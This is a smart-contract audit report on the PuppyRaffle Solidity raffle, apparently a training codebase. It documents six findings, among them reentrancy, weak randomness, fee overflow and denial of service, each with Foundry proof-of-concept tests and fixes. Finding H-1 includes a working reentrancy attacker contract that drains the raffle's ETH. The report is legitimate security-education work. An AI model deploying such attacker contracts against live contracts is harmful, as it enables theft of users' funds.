PuppyRaffle Audit Report

Version 1.0

r00tSid.github.io

September 12, 2025

PuppyRaffle Audit Report

r00tSid

September 12, 2025

Prepared by: r00tSid

Lead Auditors: - r00tSid

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the enterRaffle function with the following parameters:
   i. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & value if they call the refund function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The individual r00tSid made all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Github Link: https://github.com/Cyfrin/4-puppy-raffle-audit

- Commit Hash: `0804be9b0fd17db9e2953e27e9de46585be870cf`
- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Scope

./src/PuppyRaffle.sol

Roles

- `Owner` - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress‘ function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

There were 143 lines of code to audit in `PuppyRaffle` and i had spent more than 8 hours and found 3 high vulnerabilities, 2 medium vulnerabilities and 1 low vulnerability.

Issues found

Severity	Number Of issues found
High	3
Medium	2
Low	1
Info	0
Total	6

Findings

High

[H-1] Reentrancy vulnerability in `PuppyRaffle::refund` function allowing Attackers to repeatedly trigger refunds and drain the entire contract balance.

Description: The `PuppyRaffle::refund` function in the PuppyRaffle contract is vulnerable to a reentrancy attack. When a player requests a refund, the contract first transfers ETH back to the player before updating the contract's state. This allows a malicious player (via a fallback/receive function) to reenter the `PuppyRaffle::refund` function multiple times and drain more funds than they are entitled to.

Impact:

- Any malicious participant can drain all ETH from the contract, including fees and other players' funds.
- This leads to loss of funds for both players and the raffle owner.
- Game logic becomes broken (raffle cannot continue fairly).

Proof of Concept:

- Add the below function at bottom in `PuppyRaffleTest.t.sol::PuppyRaffleTest` contract:

```
function testReentrancyRefund() public{
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
 ↪  ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance =
 ↪  address(attackerContract).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;
    //attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: ",
     ↪  startingAttackContractBalance);
    console.log("starting contract balance: ", startingContractBalance);

    console.log("ending attacker contract balance: ",
     ↪  address(attackerContract).balance);
    console.log("ending contract balance: ", address(puppyRaffle).balance);

    }
```

- Create a new contact in `PuppyRaffleTest.t.sol`:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    // Enter raffle as attacker
    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal{
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

- Running the Test: forge test –match-test testReentrancyRefund -vv

```
    Logs:
    starting attacker contract balance:  0
    starting contract balance:  4000000000000000000
    ending attacker contract balance:  5000000000000000000
    ending contract balance:  0
```

Recommended Mitigation:

1. Apply the Checks-Effects-Interactions (CEI) Pattern:

- Update internal state (like removing the player and marking refund) before sending ETH.

2. Use a Reentrancy Guard:

- Import OpenZeppelin's ReentrancyGuard and add nonReentrant modifier on refund.
- Prevents nested calls into the same function.

3. Prefer Withdrawal Pattern:

- Instead of auto-sending ETH, store refundable balances.
- Players call a separate withdraw() to claim refunds safely.

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and also influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timsestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good number. Malicious user can manipulte these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact:

- An attacker or miner can influence the winner selection.

- High-value raffles could be exploited to always win the prize.

- Rare or legendary NFTs can be targeted predictably.

Proof of Concept:

1. Validators can know ahead of time the `block.timsestamp`, and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their ‘msg.sender value to result in their address being used to generated the winner!
3. Users can revert their `selectwinner` transaction if they dont like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink vrf.

[H-3] Integer overflow of `Puppyraffle::totalFees` losses fees.

Description: In solidity version prior to `0.8.0` integers were subject to interger overflows.

```
uint64 myvar= type(uint64).max
//18446744073709551615
myvar= myvar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFess`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players to enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees= totalFees + uint64(fee);
//aka
totalFees= 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees =  153255926290448384
```

4. You will not be able to withdraw, due to the line `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
 ↪  currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

5. POC: Add this below code in your `PuppyRaffleTest.t.sol`

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
     ↪  raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require check
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

6. Run the test: forge test –match-test testTotalFeesOverflow -vv

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testTotalFeesOverflow() (gas: 4767932)
Logs:
ending total fees 153255926290448384
```

Recommended Mitigation:

- Prefer Solidity 0.8+ for built-in overflow checks.
- Use uint256 for fee accumulation.
- Avoid logic that relies on exact balance == totalFees.
- Optional: add explicit overflow checks or SafeMath for older versions.

Medium

[M-1] Looping through players array to check for duplicates in `Puppyraffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::enterRaffle` array is, the more checks a new player will have to make. This means the gas costs for `players` who enter right when the raffle starts will be lower than those who enter later. Every addittional address in the `players` array, is an addittional check the loop will have to make.

Impact: Every time any new `player` enters the raffle the gas price gets increments for the next `player`.

Proof of Concept: Add this test to `PuppyRaffleTest.t.sol`:

```
function testDos() public {
    vm.txGasPrice(1);
    uint256 playersnum = 100;

    // First batch of players (1-100)
    address[] memory players = new address[](playersnum);
    for (uint i = 0; i < playersnum; i++) {
        players[i] = address(uint160(i + 1));
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas used to enter first 100 players: ", gasUsedFirst);

    // Second batch of players (101-200)
    address[] memory playersTwo = new address[](playersnum);
    for (uint i = 0; i < playersnum; i++) {
        playersTwo[i] = address(uint160(i + playersnum + 1));
    }
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee *
↪   playersTwo.length}(playersTwo);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("Gas used to enter second 100 players: ", gasUsedSecond);

    assert(gasUsedFirst < gasUsedSecond);
    }
```

Forge Test Run:

```
Logs:
  Gas used to enter first 100 players:  6523175
  Gas used to enter second 100 players:  18995515
```

Recommended Mitigation: Replace the array loop duplicate check with a mapping-based constant time check (O(1)). This ensures fair gas costs for all entrants and removes the DoS vector. Example Remediation in Solidity:

```
// Track players in the current round
address[] public players;
mapping(address => uint256) public lastEnteredRound;
uint256 public currentRound;

function enterRaffle(address[] calldata newPlayers) external payable {
    uint256 numPlayers = newPlayers.length;
    require(msg.value == entranceFee * numPlayers, "Incorrect ETH sent");

    for (uint256 i = 0; i < numPlayers; i++) {
        address player = newPlayers[i];

        // ✅ O(1) duplicate check using round ID
        require(lastEnteredRound[player] != currentRound, "Duplicate player
         ↪ not allowed");
        lastEnteredRound[player] = currentRound;
        players.push(player);
    }
}

function startNewRaffle() external {
    // onlyOwner or automated trigger
    currentRound++;
    delete players;
}
```

[M-2] Smart contract wallets raffle winners without a `recieve` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:

- Avoid relying on the winner being able to receive ETH automatically.
- Track unpaid prizes in a pendingWinnings mapping.
- Allow winners to manually withdraw their prize.
- Ensure the lottery resets regardless of a failed transfer.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: The function `getActivePlayerIndex(address player)` is designed to return the index of a given player within the `players` array. However, if the player does not exist in the array, the function still returns 0. This creates an ambiguous situation, since index 0 is a valid value for players who are actually at the first position.

As a result:

- A real player at index 0 cannot distinguish their legitimate index from a "not found" response.
- Callers that use this function to check participation (e.g., refunding or validating active players) may mistakenly believe that a player at index 0 is not an active participant.

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. Add the below code in PuppyRaffleTest.t.sol'

```
function testGetActivePlayerIndexBug() public {
    address[] memory players = new address[](1);
    players[0] = playerOne;

    puppyRaffle.enterRaffle{value: entranceFee}(players);

    // Legitimate player at index 0
    uint256 index = puppyRaffle.getActivePlayerIndex(playerOne);
    console.log("Index returned for playerOne:", index); // returns 0

    // A random non-player also gets index 0
    uint256 fakeIndex = puppyRaffle.getActivePlayerIndex(address(123));
    console.log("Index returned for non-player:", fakeIndex); // also
     ↪  returns 0

    assertEq(index, fakeIndex); // ambiguity
}
```

2. Run the test: forge test –match-test testGetActivePlayerIndexBug -vv

```
Logs:
Index returned for playerOne: 0
Index returned for non-player: 0
```

Recommended Mitigation:

1. Return a sentinel value (e.g., type(uint256).max) when the player is not found, instead of 0.
2. Alternatively, use a mapping(address => uint256) to directly track player indexes and a separate boolean to track existence. Example Code:

```
function getActivePlayerIndex(address player) external view returns
 ↪  (uint256) {
for (uint256 i = 0; i < players.length; i++) {
    if (players[i] == player) {
        return i;
    }
}
// Return sentinel value to indicate "not found"
return type(uint256).max;
}
```